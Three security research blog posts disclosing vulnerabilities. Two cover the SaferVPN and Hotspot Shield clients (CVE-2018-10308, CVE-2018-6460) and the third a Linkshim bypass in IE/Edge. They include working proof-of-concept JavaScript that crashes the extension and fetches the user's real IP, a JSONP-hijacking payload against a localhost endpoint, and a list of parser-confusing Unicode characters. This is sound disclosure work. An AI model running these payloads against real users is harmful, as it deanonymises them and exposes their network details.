SaferVPN CVE-2018-10308, from DoS to deanonymization

3:44 AM


TL,DR; After my last month's finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.

 We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we've found surprised us: of all 3 vpn's we've tested, we've discovered all of them leak sensitive data.

The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user's traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.

The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research. Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs.

Details

 In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.

When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is suppose to hide.

 This is a weird bug, as I didn't know chrome extensions could be dosed until now. I've tried putting breakpoints through the extension's debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.

 Here is a PoC that works on versions before 3.1.10

<script type="text/javascript">  
   var head = document.getElementsByTagName('head')[0];  
   var img = document.createElement('img');  
   img.src= "https://nonexistant.nonexistant.nonexistant";  
   function kill(){  
    for(var i=0;i<12;i++){  
     head.appendChild(img);  
     }
  }
  kill();  
   window.onload = setTimeout(function () {  
    var webService = "https://freegeoip.net/json/";  
      var script = document.createElement("script");  
      script.type = "text/javascript";  
      script.src = webService+"?callback=MyIP&format=jsonp";  
      document.getElementsByTagName("head")[0].appendChild(script);  
    }, 9000);   
   function MyIP(response) {  
     document.getElementById("ipaddress").innerHTML = response.ip;  
   }
</script>  
 <div id = "ipaddress"></div>


Timeline

 Thu, Mar 29 - contacted SaferVPN
Thu, Apr 19 - patch live.

 You can write to me here if you'd like to talk about funding similar research.


Hotspot Shield CVE-2018-6460, Sensitive Information Disclosure with XSSI

1:07 AM


Lately, I’ve been interested in VPN clients. I was focusing my research on paid commercial VPN clients with 2M+ installs. one of the clients that stood out was Hotspot Shield, with similar builds on Android, Windows and Chrome. With each carrying over 3M+ installs worldwide.


While analyzing this application, I noticed its riddled with bugs that allow sensitive information disclosure. In this blog post, I will explore how it is possible to leak a user’s data, such as what wifi they are connected to while they are using Hotspot Shield.

 Update Feb 8th, 2018: Hotspot Shield have released a patch that fixes these issues in version 7.4.6.

Details

Hotspot Shiled when turned on runs its own web server to communicate with its own VPN client. The server runs on a hardcoded host 127.0.0.1 and port 895. It hosts vital JSONP endpoints that return multiple interesting values and configuration data.

for example, http://localhost:895/status.js generates a sensitive JSON response that reveals whether the user is connected to VPN, to which VPN he/she is connected to what and what vpn network they are connected to, their country, network (wifi) name other information. There are other multiple endpoints that return sensitive data including configuration details.

$ curl -si http://127.0.0.1:895/status.js
HTTP/1.0 200 OK

{
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"}

}

While that endpoint is presented without any authorization, status.js is actually a JSON endpoint so there are no sensitive functions to override, but when we send the parameter func with $_APPLOG.Rfunc, it returns that function as a JSONP name. We can obviously override this in our malicious page and steal its contents by supplying a tm parameter timestamp, that way we can provide a logtime.


$_APPLOG.Rfunc({
“connect_state": "CONNECTED",
"daemon_state": {"timestamp": "1517471953", "state_name": "", "description": "HYDRA", "tun_ip":   "[reducted]", "remote_ip": "[reducted]", "network_name": "shitcakes", ", "country_code": "ET"

}})

After the cache responses expire, the resolution will alternate between those two IP addresses and our binded ip address can steal the sensitive response with the following payload.

<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
   alert(JSON.stringify(leak));
}
</script>
</head>
<script>
   var head = document.getElementsByTagName('head')[0];
   var script = document.createElement('script');
   script.id = 'jsonp';
   script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
   head.appendChild(script);
</script>

Timeline

Mid November - multiple attempts to contact AnchorFree and HSS engineers.
Tue, Nov 28, 2017 - contacted Beyond Security's SSD for assistance with disclosure.
Sat, Jan 27, 2018 - beyond security confirms they've got neither a response nor an ETA for a fix.
Tue, Jan 30, 2018 - public disclosure as an SSD advisory (0day)
Wed, Jan 31, 2018 - CVE-2018-6460 assigned.
Wed, Feb 7th, 2018 - patch released with version 7.4.6






Exploiting odd behaviors in MS Edge & IE to bypass Facebook’s Linkshim

2:32 PM


The following post is inspired by an all charset unicode shazz by @insertscript. After I saw it being referred in a tweet by Gareth Heyes, I immediately started fuzzing for more characters Internet Explorer & MS Edge may interpret horribly, and confuse the anchor host parser to ultimately use and bypass Facebook's Linkshim.

Fuzzing:

<a href=”/[$]example.com” id=”fuzzmeiah”>fuzz</a>
<script>

chars = [];
for(i=0;i<=0xffff;i++){
    if(document.getElementById('fuzzmeiah').hostname==”example.com”) {
      chars.push(i);
      console.log(chars.join('\n'))
     }
}

</script>

Result:
Character 1: 〱- 'VERTICAL KANA REPEAT MARK' (Ux3031)
The first one works for both IE & Edge is 0xE3 0x80 0xB1 (e380b1 aka 〱) , when plugged alone or after a forward slash, confusing the parsers to misinterpret the hostname.
<a href=”/〱example.com” id=”fuzzmeiah”>fuzz</a>
This can be tested in both MS Edge and Internet Explorer by changing links Facebook expects to be relative URIs and thus not passing them to a linkshim validation endpoint, allowing redirection to a blacklisted site (in this example, user must click on continue or cancel)


Character 2: 〵- 'VERTICAL KANA REPEAT MARK LOWERHALF' (Ux3035)


Character 3: ゝ- 'HIRAGANA ITERATION MARK' (0x309d)


Character 4: ー 'KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0x30fc)

Character 5: ｰ 'HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0xff70)


This specific issue is not fixed by Facebook as they believe it is more of the browser vendors fault and shouldn't be fixed from their side. Even though I disagree with their decision, I believe a very few percent of Facebook users use IE or Edge so I didn't bother trying to change their mind. I hope this post inspires either Microsoft or Facebook to fix this issue though.

I hope you enjoyed the read. =)